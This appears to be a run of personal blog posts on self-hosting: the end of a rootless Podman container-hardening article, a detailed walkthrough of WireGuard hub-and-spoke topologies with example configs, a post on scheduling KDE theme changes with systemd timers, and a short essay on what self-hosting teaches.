At this point it should be clear that a standard Podman rootless container provides better isolation affordances than a standard Docker container setup. While Docker can be configured to run rootless and to use an unprivileged user namespace, it involves significant more effort to do so than using Podman, due in part to a fundamental difference in its architecture.

Docker remains a quite popular choice to run containers, and many tools in the self-hosting ecosystem (e.g Dokku, Kamal, Coolify, Dokploy) default to using to it. I suspect that a lot of services out there are running with a broader attack surface area than is actually necessary by way of running images off of Docker hub without scrutinizing the underlying image and taking measures to lock it down. Hopefully, this article inspires some to try rootless Podman or at least improve their Docker setups.

Ultimately, this highlights the importance of understanding the implementation details of the image that your container runs. You should know which user or users run the container processes, what directories of the root filesystem they depend on, and which Linux capabilities (or lackthereof) they need to deliver on their promise. Knowing these details, you can use and combine several mechanisms afforded by Podman and containers at large to harden the container and limit the blast radius if compromised.

Nonetheless, it is worth reiterating that, depending on your workloads, you should not depend on containers as the sole security boundary. You can combine containers and separate machines (virtual or physical) to great effect. That said, Podman does provide a way to isolate workloads within the same host by running each as discrete unprivileged users, each with their own user namespace.

I will publish an update if I come across more information about Copy Fail that is specific to the topics discussed in here. I’d be glad to receive any feedback, particularly if you noticed an omission or error on my part.

Further reading

• Podman documentation
• Podman in Action, Daniel Walsh
• Basic Setup and Use of Podman in a Rootless environment
• Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.

---

This article was discussed at Lobsters.

Several interesting points were raised, including the fact that the underlying vulnerability can be used to other ends than just obtaining a root shell in the compromised container. For example, a malicious container can do a lateral attack to other containers running under the same unprivileged user by tampering pages associated to a file in a shared base image.

Also, as far as hardening measures is concerned, seccomp can be used to block the system call that enables this exploit.

---

1. Quadlets is the second reason why I much prefer Podman over Docker. Having run Docker and Docker Compose over the years, I found Quadlet to be the best way to run containers if you don’t need orchestration (which I reckon is mostly everyone!). ↩︎

2. A compromised container can be used for all sorts of nefarious purposes, particularly one whose process is running as root. ↩︎

I recently migrated my self-hosted services from a VPS (virtual private server) at a remote data center to a physical server at home. This change was motivated by wanting to be in control of the hardware and network where said services run, while trying to keep things as simple as possible. What follows is a walk-through of how I reasoned through different WireGuard toplogies for the VPN (virtual private network) in which my devices and services reside.

Before starting, it’s worth emphasizing that using WireGuard (or a VPN altogether) is ont strictly required for self-hosting. WireGuard implies one more moving part in your system, the cost of which is justified only by what it affords you to do. The constraints that I outline below should provide clarity as to why using WireGuard is appropriate for my needs.

It goes without saying that not everyone has the same needs, resources, and threat model, all of which a design should account for. That said, there isn’t anything particularly special about what I’m doing. There is likely enough overlap here for this to be useful to individuals or small to medium-sized organizations looking to host their services.

I hope that this review helps others build a better mental model of WireGuard, and the sorts of networks that you can build up to per practical considerations. Going through this exercise proved to be an excellent learning experience, and that is worthwhile on its own.

This post assumes some familiarity with networking. This is a subject in which acronyms are frequently employed, so I’ve made sure to spell these out wherever introduced.

Constraints

The constraints behind the design of my network can be categorized into first-order and second-order constraints. Deploying WireGuard responds to the first-order constraints, whereas the specifics of how WireGuard is deployed responds to the second-order constraints.

First-order constraints

1. There should be no dependencies to services or hardware outside of the physical network. I should be able to connect to my self-hosted services while I’m at home as long as there’s electricity in the house and the hardware involved is operating without problems.

2. Borrow elements of the Zero Trust Architecture where appropriate. Right now that means treating all of my services and devices as resources, securing all communications (i.e not trusting the underlying network), and enforcing least-privileged access.

3. Provisions made to connect to a device from outside the home network should be secondary and optional. While I do wish to use to my services while I’m away, satisfying this should not compromise the fundamental design of my setup. For example, I shouldn’t rely on tunneling services provided by third-parties.

Choosing to deploy WireGuard is motivated by constraints two and three. Constraint one is not sufficient on its own to necessitate using WireGuard because everything can run on the local area network (LAN).

Once deployed, I should be able to connect all of my devices using hardware, software, and keys that I control within the boundaries of my home office. These devices all exist in the same physical network, but may reside in separate virtual LANs (VLANs) or subnets. Regardless, WireGuard is used to establish secure communications within and across these boundaries, while working in tandem with network and device firewalls for access control.

I cannot connect to my home network directly from the wide area network (WAN, e.g the Internet) because it is behind Carrier-Grade Network Address Translation (CGNAT). A remote host is added to the WireGuard network to establish connections from outside. This host runs on hardware that I do not control, which goes against the spirit of the first constraint. However, an allowance is made considering that the role of this peer is not load-bearing in the overarching design, and can be removed from the network as needed.

Second-order constraints

Assuming WireGuard is now inherent in this design, its use should adhere to the following constraints:

1. Use WireGuard natively as opposed to software that builds on top of WireGuard. I choose to favor simplicity and ease of understanding rather than convenience or added features, ergo, complexity.

2. Use of a control plane should not be required. All endpoints are first-class citizens and managed individually, regardless of using a network topology that confers routing responsibilities to a given peer.

Satisfying these constraints preclude the use of solutions such as Tailscale, Headscale, or Netbird. Using WireGuard natively has the added benefit that I can rely on a vetted and stable version as packaged by my Linux distribution of choice, Debian.

Non-constraints

Lastly, it is worth stating requirements or features that are often found in designs such as these, but that are not currently relevant to me.

1. Mesh networking and direct peer-to-peer connections. It’s ok to have peers act as gateways if connections need to be established across different physical or logical networks. The size, throughput, and bandwidth of the network is small enough that prioritizing performance is not strictly necessary.

2. Automatic discovery or key distribution. It’s ok for nodes in the network to be added or reconfigured manually.

Resources

Let’s look at the resources in the network, and how these connect with each other.

Consider the following matrix. Each row denotes whether the resource in the first column connects to the resources in the remaining columns, either to consume a service or perform a task. For example, we can tell that the server does not connect to any device, but all devices connect to the server.

Server Desktop Laptop Phone Tablet Server No No No No Desktop Yes Yes Yes No Laptop Yes Yes No No Phone Yes Yes No No Tablet Yes No No No

Said specifically:

1. The desktop computer connects to the server to access a calendar, git repositories, etc
2. The tablet connects to the server to download RSS feeds
3. The laptop and desktop connect with each other to sync files

The purpose of this matrix is to determine which connections between devices ought to be supported, regardless of the network topology. This informs how WireGuard peers are configured, and what sort of firewall rules need to be established.

Before proceeding, let’s define the networks and device IP addresses that will be used.

Network Protocol Address Netmask Gateway LAN IPv4 192.168.1.0 255.255.255.0 192.168.1.1 WireGuard IPv4 10.55.2.0 255.255.255.0 - Device LAN IP address WireGuard IP address Desktop computer 192.168.1.6 10.55.2.11 Laptop 192.168.1.7 10.55.2.12 Phone 192.168.1.8 10.55.2.13 Tablet 192.168.1.9 10.55.2.14 Server 192.168.1.10 10.55.2.20

The name of the WireGuard network interface will be wg-home, where applicable1. For purposes of this explanation, port 48192 will be used in all of the devices when a port needs to be defined.

Topologies

I’ll explore different topologies as I build to up to the design that I currently employ. By starting with the simplest topology, we can appreciate the benefits and trade-offs involved in each step, while strengthening our conceptual model of WireGuard.

Each topology below is accompanied by a simple diagram of the network. In it, the orange arrow denotes a device connecting to another device. Where two devices connect to each other, a bidirectional arrow is employed. Later on, green arrows denote a device forwarding packets to and from other resources.

Connecting all devices in the same physical network using point-to-point networking

The basic scenario, and perhaps the most familiar to someone looking to start using WireGuard to self-host at home, is hosting in the network that is established by the router provided by an Internet service provider (ISP). Let’s assume its configuration has not been modified other than changing the Wi-Fi and admin passwords.

A topology that can be used here is point-to-point, where each device lists every other device it connects to as its peer. In WireGuard terminology, “peers” are endpoints configured to connect with each other to establish an encrypted “tunnel” through which packets are sent and received.

According to the connections matrix, the desktop computer and the server are peers, but the desktop computer and tablet aren’t.

The WireGuard configuration for the desktop computer looks as follows:

[Interface]
Address = 10.55.2.11/32
ListenPort = 48192
PrivateKey = kJdAdg2G5sh+BcusDTPYv/nZOscXW5kuh5wILkOC63Q=

# Server
[Peer]
PublicKey = 5vj58uZIALlPwhelXQilQgCY0jSN6iOpBZOcZj2shEU=
AllowedIPs = 10.55.2.20/32
Endpoint = 192.168.1.10:48192

# Laptop
[Peer]
PublicKey = Aa+dFAg5CWQ3U/ZLJbxfhYiJcW9lJP+tuWZ0ElHuY14=
AllowedIPs = 10.55.2.12/32
Endpoint = 192.168.1.7:48192

# Phone
[Peer]
PublicKey = Ri10a7gcZ+sbFc44HvZVOvpTqWydi6OYQWZMMzAo3Eo=
AllowedIPs = 10.55.2.13/32
Endpoint = 192.168.1.8:48192

Note that the LAN IP address of each peer is specified under Endpoint. This is used to find the peer’s device and establish the WireGuard tunnel. AllowedIPs specifies the IP addresses used within the WireGuard network. In other words, the phone is the desktop’s peer, it can be found at 192.168.1.8:48192 to establish the tunnel.

Let’s assume each of these devices have firewalls that allow UDP traffic through port 48192 and all subsequent traffic through the WireGuard wg-home interface. Once the WireGuard configurations of the server, laptop, and phone include the corresponding peers, secure communication is established through the WireGuard network interface.

Let’s try sending a packet from the desktop computer to the phone.

$ traceroute 10.55.2.13
traceroute to 10.55.2.13 (10.55.2.13), 30 hops max, 60 byte packets
 1 10.55.2.13 (10.55.2.13) 950.434 ms 950.550 ms 950.493 ms

The packet was routed directly to the phone and echoed back.

At this point access control is enforced in each device’s firewall. Allowing everything that comes through the wg-home interface is convenient, but it should be limited to the relevant ports and protocols for least-privileged access.

Fixing an issue with moving targets

An obvious problem with this scenario is that the Dynamic Host Configuration Protocol (DHCP) server in the router likely allocates IP addresses dynamically when devices connect to the LAN network. The IP address for a device may thus change over time, and WireGuard will be unable to find a peer to establish a connection to it.

For example, I’m at home and my phone dies. The LAN IP address 192.168.1.8 is freed and assigned to another device that comes online. WireGuard will attempt to connect to 192.168.1.8 (per Endpoint) and fail for any of the following reasons:

1. Said device is not running WireGuard
2. Said device is using a different Address or ListenPort, in which case the peer’s AllowedIPs or port in Endpoint does not match
3. Said device is using a different PrivateKey, in which case the peer’s PublicKey does not match

Fortunately, most routers support configuring static IP addresses for a given device in the network. Doing so for all devices in our WireGuard network fixes this problem as the IP address used in Endpoint will be reserved accordingly.

Connecting from the outside

Suppose I want to work at a coffee shop, but still need access to something that’s hosted on my home server. As mentioned in the constraints, my home network is behind CGNAT. This means that I cannot connect directly to it using whatever WAN IP address my router is using at the moment.

What I can do instead is use a device that has a publicly routable IP address and make that a WireGuard peer of our server. In this case that’ll be a VPS in some data center.

How is the packet ultimately relayed to and from the server at home? Both the server and laptop established direct encrypted tunnels with the VPS. WireGuard on the VPS will receive the encrypted packets from the laptop, decrypt them, and notice that they’re meant for the server. It will then encrypt these packets with the server’s key and send them through the server’s tunnel. It’ll do same thing with the server’s response, except towards the laptop using the laptop’s tunnel.

A device that forwards packets between peers needs to be configured for IPv4 packet forwarding. I will not cover the specifics of this configuration because it depends on what operating system and firewall are used2.

Adding a remote peer

The VPS has a public IP address of 162.231.77.9, and its WireGuard IP address will be 10.55.2.2. The laptop and server are listed as peers in its WireGuard configuration:

[Interface]
Address = 10.55.2.2/32
ListenPort = 48192
PrivateKey = wMKvhMa7BSJvRe9+t7fiymFMqcHlxeI64uhjoLEKPWo=

# Server
[Peer]
PublicKey = 5vj58uZIALlPwhelXQilQgCY0jSN6iOpBZOcZj2shEU=
AllowedIPs = 10.55.2.20/32

# Laptop
[Peer]
PublicKey = Aa+dFAg5CWQ3U/ZLJbxfhYiJcW9lJP+tuWZ0ElHuY14=
AllowedIPs = 10.55.2.12/32

Note that Endpoint is omitted for each peer. The publicly routable IP addresses of the laptop and the home router are not known to us. Even if they were, they cannot be reached by the VPS. However, they will be known to the VPS when these connect to it.

Now, the server at home adds the VPS as its peer, using the VPS public IP address as its Endpoint:

# VPS
[Peer]
PublicKey = 7vXZGWpHp1PimrlbvwQ3sEOFUPx+1kq8Fdq4dv950m0=
AllowedIPs = 10.55.2.2/32
Endpoint = 162.231.77.9:48192
PersistentKeepalive = 25

We also make use of PersistentKeepalive to send an empty packet every 25 seconds. This is done to establish the tunnel ahead of time, and to keep it open. This is necessary because otherwise the tunnel may not exist when I’m at the coffee shop trying to access the server at home. Remember, the VPS doesn’t know how to reach the server unless the server is connected to it.

Routing packets through the remote peer

Let’s take a careful look at the laptop’s configuration, and what we’re looking to achieve. When the laptop is at home, it connects to the server using an endpoint address that is routable within the home LAN network. This endpoint address is not routable when I’m outside, in which case I want the connection to go through the VPS.

To achieve this, the laptop maintains two mutually-exclusive WireGuard interfaces: wg-home and wg-remote. The former is active only while I’m in the home network, and the latter while I’m on the go.

Unlike the server, the VPS does not need to be added as a peer to the laptop’s wg-home interface because it doesn’t need connect to it while at home. Instead, the VPS is added to the wg-remote configuration:

[Interface]
Address = 10.55.2.12/32
PrivateKey = EAuj44uBRPWyV6d9I4NKT8WmRQP+a73X/ce+58ZrPVs=

# VPS
[Peer]
PublicKey = 7vXZGWpHp1PimrlbvwQ3sEOFUPx+1kq8Fdq4dv950m0=
AllowedIPs = 10.55.2.2/32, 10.55.2.20/32
Endpoint = 162.231.77.9:48192

The [Interface] section for both wg-home and wg-remote is mostly the same. The laptop should have the same adress and key, regardless of where it is. Only ListenPort is omitted in wg-remote because no other device will look to connect to it, in which case we can have WireGuard set a port dynamically.

What differs is the peer configuration. In wg-remote the VPS is set as the only peer. However, the home server’s IP address 10.55.2.20 is added to the VPS’ list of AllowedIPs. WireGuard uses this information to route any packets for the VPS or the server through the VPS.

Unlike the server’s peer configuration for the VPS, PersistentKeepalive is not needed because the laptop is always the one initiating the tunnel when it reaches out to the server.

We can verify that packets are being routed appropriately to the server through the VPS:

$ traceroute 10.55.2.20
traceroute to 10.55.2.20 (10.55.2.20), 30 hops max, 60 byte packets
 1 10.55.2.2 (10.55.2.2) 314.556 ms 314.482 ms 314.469 ms
 2 10.55.2.20 (10.55.2.20) 320.954 ms 320.821 ms 320.870 ms

Introducing hub-and-spoke

We solved for outside connectivity using a network topology called hub-and-spoke. The laptop and home server are not connecting point-to-point.

The VPS acts as a hub or gateway through which connections among members of the network (i.e the spokes) are routed. If we scope down our network to just the laptop and the home server, we see how this hub is not only a peer of every spoke, but also just its only peer.

Yet, how exactly is the packet routed back to the laptop? Mind you, at home the laptop is a peer of the server. When the server responds to the laptop, it will attempt to route the response directly to the laptop’s peer endpoint. This fails because the laptop is not actually reachable via that direct connection when I’m on the go. This makes the laptop a “roaming client”; it connects to the network from different locations, and its Endpoint may change.

This all works because the hub has been configured to do Network Address Translation (NAT); it is replacing the source address of each packet for its own as it is being forwarded. The spokes at end of each hub accept the packets because they appear to originate from its peer. In other words, when the laptop is reaching out to the home server, the server sees traffic coming from the VPS and returns it there.

The hub is forwarding packets among the spokes without regards to access control. Thus, its firewall should be configured for least-privilege access. For example, if the laptop is only accessing git repositories in the home server over SSH, then the hub firewall should only allow forwarding from the laptop’s peer connection to the home server’s IP address and SSH port.

Let’s reiterate. If I now wish to sync my laptop with my desktop computer from outside the network, I would be adding yet another spoke to this hub. The desktop computer and the VPS configure each other as peers, while the desktop’s IP address is included in the VPS’ AllowedIPs list of the laptop’s wg-remote configuration.

+ AllowedIPs = 10.55.2.2/32, 10.55.2.20/32, 10.55.2.11/32
- AllowedIPs = 10.55.2.2/32, 10.55.2.20/32

Rethinking the home network topology

Our topology within the home network is still point-to-point. As soon as I return home, my laptop will connect directly to the server when I toggle wg-remote off and wg-home on. But now that we know about hub-and-spoke, it might make sense to consider using it at home as well.

According to the connection matrix, the server can assume the role of a hub because all other devices already connect to it. Likewise, the server runs 24/7, so it will always be online to route packets.

This topology simplifies the WireGuard configurations for all of the spokes. The desktop computer, phone, laptop, and tablet can now list the server as its only peer in wg-home.

This is convenient because now only one static address in the LAN network needs to be allocated by the DHCP server – the server’s.

Consider the changes to the WireGuard configuration of the desktop computer.

[Interface]
Address = 10.55.2.11/32
ListenPort = 48192
PrivateKey = kJdAdg2G5sh+BcusDTPYv/nZOscXW5kuh5wILkOC63Q=

# Server
[Peer]
PublicKey = 5vj58uZIALlPwhelXQilQgCY0jSN6iOpBZOcZj2shEU=
- AllowedIPs = 10.55.2.20/32
+ AllowedIPs = 10.55.2.20/32, 10.55.2.12/32, 10.55.2.13/231
Endpoint = 192.168.1.10:48192
-
- # Laptop
- [Peer]
- PublicKey = Aa+dFAg5CWQ3U/ZLJbxfhYiJcW9lJP+tuWZ0ElHuY14=
- AllowedIPs = 10.55.2.12/32
- Endpoint = 192.168.1.7:48192
-
- # Phone
- [Peer]
- PublicKey = Ri10a7gcZ+sbFc44HvZVOvpTqWydi6OYQWZMMzAo3Eo=
- AllowedIPs = 10.55.2.13/32
- Endpoint = 192.168.1.8:48192
-
-# VPS
-[Peer]
-PublicKey = 7vXZGWpHp1PimrlbvwQ3sEOFUPx+1kq8Fdq4dv950m0=
-AllowedIPs = 10.55.2.2/32
-Endpoint = 162.231.77.9:48192

All peers are removed except the server, and the IPs of the phone and laptop are added to the server’s of AllowedIPs. WireGuard will route packets for these other hosts through the server. We could also use Classless Inter-Domain Routing (CIDR) notation to state that packets for all hosts in the WireGuard network go through the server peer:

+ AllowedIPs = 10.55.2.0/24
- AllowedIPs = 10.55.2.20/32, 10.55.2.12/32, 10.55.2.13/231

The server, in turn, keeps listing every device at home as its peer but no longer needs an Endpoint for each. The peers will initiate the connection to the server.

[Interface]
Address = 10.55.2.20/32
ListenPort = 48192
PrivateKey = qFu8xkaA69wnX8aWURUUNAf9Ll1yU8RvjXczCiXbMGM=

# Desktop
[Peer]
PublicKey = doTWOdYC8hwpKVrc6tK4UHEXspO4CuajPORLHOeri2c=
AllowedIPs = 10.55.2.11/32
- Endpoint = 192.168.1.6:48192

# Laptop
[Peer]
PublicKey = Aa+dFAg5CWQ3U/ZLJbxfhYiJcW9lJP+tuWZ0ElHuY14=
AllowedIPs = 10.55.2.12/32
- Endpoint = 192.168.1.7:48192

# Phone
[Peer]
PublicKey = Ri10a7gcZ+sbFc44HvZVOvpTqWydi6OYQWZMMzAo3Eo=
AllowedIPs = 10.55.2.13/32
- Endpoint = 192.168.1.8:48192

# Tablet
[Peer]
PublicKey = dcRjeKjoDujcH/Ziy4stHIzCXSr+tlaeeyP6IEcc+EY=
AllowedIPs = 10.55.2.14/32
- Endpoint = 192.168.1.9:48192

# VPS
[Peer]
PublicKey = 7vXZGWpHp1PimrlbvwQ3sEOFUPx+1kq8Fdq4dv950m0=
AllowedIPs = 10.55.2.2/32, 10.55.2.20/32
Endpoint = 162.231.77.9:48192

Once again, let’s test sending a packet from the desktop computer to the phone.

$ traceroute 10.55.2.13
traceroute to 10.55.2.13 (10.55.2.13), 30 hops max, 60 byte packets
 1 10.55.2.20 (10.55.2.20) 1.190 ms 1.328 ms 1.528 ms
 2 10.55.2.13 (10.55.2.13) 49.954 ms 50.142 ms 50.104 ms

The packet was hops once through the server (10.55.2.20), is received by the phone, and is echoed back.

The downside to this topology is that the server is now a single point of failure. If the server dies then the spokes won’t be able to connect with each other through WireGuard. There’s also an added cost to having every packet flow through the hub.

As for access control, much like we saw in the VPS, the hub now concentrates firewalling responsibilities. It knows which peer is looking to connect to which peer, thus it should establish rules for which packets can be forwarded. This is not mutually exclusive with input firewall rules on each device; those should exist as well.

Two hubs and one compromise

We’ve seen that home hub will route packets between the spokes. Furthermore, because it is peer of the VPS, the server can be used to route connections coming from outside the LAN network. Effectively, these are two hubs that connect to each other so that packets can flow across separate physical networks.

If the laptop wants to sync with the desktop while it is outside the LAN network, then the packets make two hops: once through the VPS, and another through the server. If the laptop is within the LAN network, the packets hop only once through the server.

Yet, there’s a subtle caveat to this design. The laptop can initiate a sync with the desktop from outside the LAN network and receive the response that it expects. However, the desktop can only initiate a sync with the laptop while the latter is within the LAN network. Why?

Similar to our previous example of the laptop communicating with the server, the laptop is configured as a peer of the home hub. When the desktop initiates a sync, the server will attempt to route the packet to the laptop. Per our last change, the laptop doesn’t have a fixed Endpoint and there is no established tunnel because the laptop is outside the network. Additionally, the home hub is not configured to route packets destined for the laptop through the VPS peer. The packet is thus dropped by the hub.

One could look into making the routing dynamic such that the packets are delivered through other means, perhaps through mesh networking. But herein lies a compromise that I’ve made. In this design, a spoke in the home hub cannot initiate connections to a roaming client. It can only receive connections from them, because the roaming client uses NAT through the remote hub.

I’m perfectly fine with this compromise as I don’t actually need this bidirectionality, and I don’t want the additional complexity from solving this issue. The remote hub facilitates tunneling into the home hub, not out of. My needs call for allowing my mobile devices (e.g laptop, phone, tablet) to communicate with the non-mobile devices at home (e.g server, desktop), and this has been solved.

Reconsidering the hub at home

At this point we’re done insofar the overarching topology of our WireGuard network, but there is an improvement that can be made to make our home hub less brittle.

Consider the case where I’m using a router that can run WireGuard. Making the router the hub of our home network poses some benefits over the previous setup.

First, the router is already a single point of failure by way of being responsible for the underlying LAN network. Making the router the hub isn’t as costly as it is with some other device in the network.

Second, all devices in the network are already connected to the router. This simplifies the overall configuration because it is no longer necessary to configure static IP addresses in the DHCP server. Instead, each spoke can use the network gateway address to reach the hub.

Let’s the assume that the gateway for the LAN network is 192.168.1.1, and the WireGuard IP address for the router is 10.55.2.1.

Each spoke replaces the server peer with the router’s, and uses the gateway address for its Endpoint. For example, in the desktop computer:

[Interface]
Address = 10.55.2.11/32
ListenPort = 48192
PrivateKey = kJdAdg2G5sh+BcusDTPYv/nZOscXW5kuh5wILkOC63Q=

+ # Router
+ [Peer]
+ PublicKey = bGDvNVfFvSsZtku3vXZx2xzgLIC8mtfQLCfcVy/gajs=
+ AllowedIPs = 10.55.2.0/24
+ Endpoint = 192.168.1.1:48192
- # Server
- [Peer]
- PublicKey = 5vj58uZIALlPwhelXQilQgCY0jSN6iOpBZOcZj2shEU=
- AllowedIPs = 10.55.2.0/24
- Endpoint = 192.168.1.10:48192

The server is demoted to a spoke and is configured like all other spokes. In turn, the router lists all peers like the server previously did:

[Interface]
Address = 10.55.2.1/32
ListenPort = 48192
PrivateKey = UN8CdQKylNzjP7LpB+nSmMoeBxvmPtvtDKG2RylZZ10=

# Server
[Peer]
PublicKey = 5vj58uZIALlPwhelXQilQgCY0jSN6iOpBZOcZj2shEU=
AllowedIPs = 10.55.2.20/32

# Desktop
[Peer]
PublicKey = doTWOdYC8hwpKVrc6tK4UHEXspO4CuajPORLHOeri2c=
AllowedIPs = 10.55.2.11/32

# Laptop
[Peer]
PublicKey = Aa+dFAg5CWQ3U/ZLJbxfhYiJcW9lJP+tuWZ0ElHuY14=
AllowedIPs = 10.55.2.12/32

# Phone
[Peer]
PublicKey = Ri10a7gcZ+sbFc44HvZVOvpTqWydi6OYQWZMMzAo3Eo=
AllowedIPs = 10.55.2.13/32

# Tablet
[Peer]
PublicKey = dcRjeKjoDujcH/Ziy4stHIzCXSr+tlaeeyP6IEcc+EY=
AllowedIPs = 10.55.2.14/32

# VPS
[Peer]
PublicKey = 7vXZGWpHp1PimrlbvwQ3sEOFUPx+1kq8Fdq4dv950m0=
AllowedIPs = 10.55.2.2/32, 10.55.2.20/32
Endpoint = 162.231.77.9:48192

Again, the firewall in the router is now responsible for enforcing access control between spokes.

Our final design

For the sake of illustrating how much further the underlying networks can evolve without interfering with the WireGuard network, consider the final design.

I’ve broken apart the LAN network into separate VLANs to isolate network traffic. The server resides in its own VLAN, and client devices in another. The router keeps on forwarding packets in WireGuard network regardless of where these devices are.

The only change that is necessary to keep things working is to update Endpoint address for the router peer in each spoke. The spoke now uses the corresponding VLAN gateway address, rather than that of the LAN network:

[Interface]
Address = 10.55.2.11/32
ListenPort = 48192
PrivateKey = kJdAdg2G5sh+BcusDTPYv/nZOscXW5kuh5wILkOC63Q=

# Router
[Peer]
PublicKey = bGDvNVfFvSsZtku3vXZx2xzgLIC8mtfQLCfcVy/gajs=
AllowedIPs = 10.55.2.1/32, 10.55.2.0/24
+ Endpoint = 10.2.0.1:48192
- Endpoint = 192.168.1.1:48192

Parting thoughts

I’ve been using this setup for some months now and it’s been working without issues. A couple of thoughts come to mind having gone through this exercise and written about it.

Running WireGuard on the router simplifies things considerably. If the home network were not behind CGNAT then I could do away with the VPS hub altogether. I would still need separate WireGuard interfaces for when I’m on the go, but that’s not a big deal. Nonetheless, within the LAN network, configuration is simpler by using a hub-and-spoke topology with the router as hub. Centralizing access control on the router’s firewall is also appreciated.

WireGuard is simple to deploy and it just works. Nonetheless, some knowledge of networking is required to think through how to deploy WireGuard appropriately for a given context. Being comfortable with configuring interfaces and firewalls is also necessary to troubleshoot the inevitable connectivity issues.

One can appreciate why solutions that abstract over WireGuard exist. I used Tailscale extensively before this and did not have think through things as much as I did here. This was all solved for me. I just had to install the agent on each device, authorize it, and suddenly packets moved securely and efficiently across networks.

And yet, WireGuard was there all along and I knew that I could unearth the abstraction. Now I appreciate its simplicity even more, and take relish in having a stronger understanding of what I previously took for granted.

Lastly, I purposefully omitted other aspects of my WireGuard setup for self-hosting, particularly around DNS. This will be the subject of another article, which is rather similar to the one I wrote on using Tailscale with custom domains. Furthermore, a closer look at access control in this topology might be of interest to others considering that there are multiple firewalls that come into play.

Further reading

• WireGuard: Next Generation Kernel Network Tunnel
• Networking for System Administrators
• Primary WireGuard Topologies
• How Tailscale works

---

1. Each interface has its own configuration file, and can be thought as a “connection profile” in the context of a VPN. This profile is managed by wg-quick in Linux, or through the WireGuard app for macOS, Android, etc. ↩︎

2. In my case, that’s Debian and nftables. This article from Pro Custodibus explains how to configure nftables for the hub. ↩︎

Update August 8th, 2025: Theme switching is configurable in system settings as of KDE Plasma 6.5.

I use KDE Plasma 6 as my desktop environment. Among my petty grievances is the fact that KDE does not provide a way to automatically switch themes. In my case, I like to use a light theme during the day, and a dark theme as soon as the sun sets.

I searched for a solution and found an old thread on reddit where someone recently shared a command that you can use to set a theme manually using lookandfeeltool. For example, to set “Breeze Dark”:

export QT_DEBUG_PLUGINS=1 export LIBGL_ALWAYS_INDIRECT=; export DISPLAY=:0; lookandfeeltool -a org.kde.breezedark.desktop

lookandfeeltool is already installed so all I needed was to run it on a schedule using cron or systemd.

I’ve been learning the ins and outs of systemd to automate tasks, so naturally I thought of using a systemd timer. With systemd, I define a service that changes the theme, and a timer that runs the service at a predetermined time.

[Unit]
Description="Switch KDE to Dark Theme"

[Service]
Type=oneshot
ExecStart=/usr/bin/lookandfeeltool -a org.kde.breezedark.desktop

[Unit]
Description="Set KDE Dark Theme at 6pm every day"

[Timer]
OnCalendar=*-*-* 18:00:00
Persistent=true
Unit=kde-theme-dark.service

[Install]
WantedBy=timers.target

In this case, the theme will switch to “Breeze Dark” at 6:00pm. Persistent is used so that the theme switches when I turn on the computer and it’s already past the scheduled time.

Similarly, I defined a separate service and timer so that the “Breeze Light” theme is switched to at 8am. The only difference between these is the timer’s scheduled time.

Finally, I installed these as user units. I want to keep these unit files under version control, so I’d rather not maintain these under /etc/systemd/user/. Instead, I use systemctl --user link, which links the files from wherever these files live to ~/.config/systemd/user/. Then, the timers are enabled and started.

#!/bin/bash

set -e

SOURCE_DIR="$(pwd)"

echo "Linking systemd files..."

for file in "$SOURCE_DIR"/*.{service,timer}; do
 systemctl --user link "$file"
done

systemctl --user daemon-reload

echo "Enabling timers..."
systemctl --user enable kde-theme-dark.timer
systemctl --user enable kde-theme-light.timer

echo "Starting timers..."
systemctl --user start kde-theme-dark.timer
systemctl --user start kde-theme-light.timer

The timers can be verified using systemctl --user status kde-theme-dark.timer or systemctl --user list-timers:

gabriel@fedora:~$ systemctl --user status kde-theme-dark.timer
● kde-theme-dark.timer - "Set KDE Dark Theme at 6pm every day"
 Loaded: loaded (/home/gabriel/.config/systemd/user/kde-theme-dark.timer; enabled; preset: disabled)
 Active: active (waiting) since Wed 2024-11-20 13:26:33 CST; 9h ago
 Invocation: 5c8ecddf144a4fc8b17cc772362dbc15
 Trigger: Thu 2024-11-21 18:00:00 CST; 19h left
 Triggers: ● kde-theme-dark.service

Nov 20 13:26:33 fedora systemd[67573]: Started kde-theme-dark.timer - "Set KDE Dark Theme at 6pm every day".

gabriel@fedora:~$ systemctl --user list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2024-11-21 08:00:00 CST 9h Wed 2024-11-20 13:20:05 CST - kde-theme-light.timer kde-theme-light.service
Thu 2024-11-21 18:00:00 CST 19h Wed 2024-11-20 18:00:18 CST 3h 58min ago kde-theme-dark.timer kde-theme-dark.service

The neat thing is that I can also invoke this service unit manually. If during the day I want to use the dark mode, I can run systemctl --user start kde-theme-dark.service.

To view a log of the service runs, I can use journalctl --user -eu kde-theme-dark.service:

Nov 20 18:00:18 fedora systemd[67573]: Starting kde-theme-dark.service - Switch KDE to Dark Theme...
Nov 20 18:00:19 fedora systemd[67573]: Finished kde-theme-dark.service - Switch KDE to Dark Theme.

We’re well into times in which it’s clear why you’d care to own your data and host the software that you depend on. Enshittification and surveillance capitalism are not heterodox concepts, so I won’t make that the point of this post.

Yet, people on the internet can be quick to dissuade you from doing so.

Whether that’s claiming that companies are inherently better than you at operating servers and safeguarding your data, or reminding you that your time is worth more than what you’d pay for a subscription, or that you’d be mad to subject your family to a bus factor of one – the reasons abound.

Some of the arguments may be valid, others may not1. How do you reconcile the plea to take action with the apparent futility of the task?

I guess you can only speak from your own experience, which means you have to try it out.

Let us return to pathemata mathemata (learning through pain) and consider its reverse: learning through thrills and pleasure. People have two brains, one when there is skin in the game, one when there is none.

– Nassim Taleb, Skin in the game

When you look after your own stuff, reality dawns on you.

When things go awry, there’s likely nobody to blame but yourself. But that’s not necessarily a bad thing in and of itself. It encourages action and responsibility, and it provides with an opportunity to learn.

And boy, have I learned. So you start small2, you put up a guardrail or two, and permit some slack. Not all lessons have to be expensive for them to teach.

When you look after your own stuff, you think twice before deploying new software. Do the benefits outweigh the setup and operating costs? How much will it demand from you?

And so, little by little self-hosting has changed the way that I approach my digital life.

No longer am I haphazardly signing up to new services and giving out my data. I keep my dependencies to a minimum. I think of my needs in terms systems and workflows, as opposed to a hodgepodge of apps. I come to value standards and protocols, interoperability, and extendability.

I’m forced to organize myself from the very beginning – what data do I truly need to have on me, and on each of my devices? Do I really need sync? Where is the data backed up to, and how often? Do I need all of those photos? How soon can I recover from disaster?

Constraints are great at separating the wheat from the chaff. More likely than not, you can do more with less.

And ultimately, you become pragmatic. Life is unpredictable, and sometimes you’d rather not. That’s perfectly fine, for the lessons have stuck and you’re more judicious in your approach.

You contemplate on-ramps and off-ramps, offline alternatives, or doing away with dispensable matters altogether. If anything, if the time comes around to move to somebody else’s turf, at least you won’t have to beg anyone for the data.

---

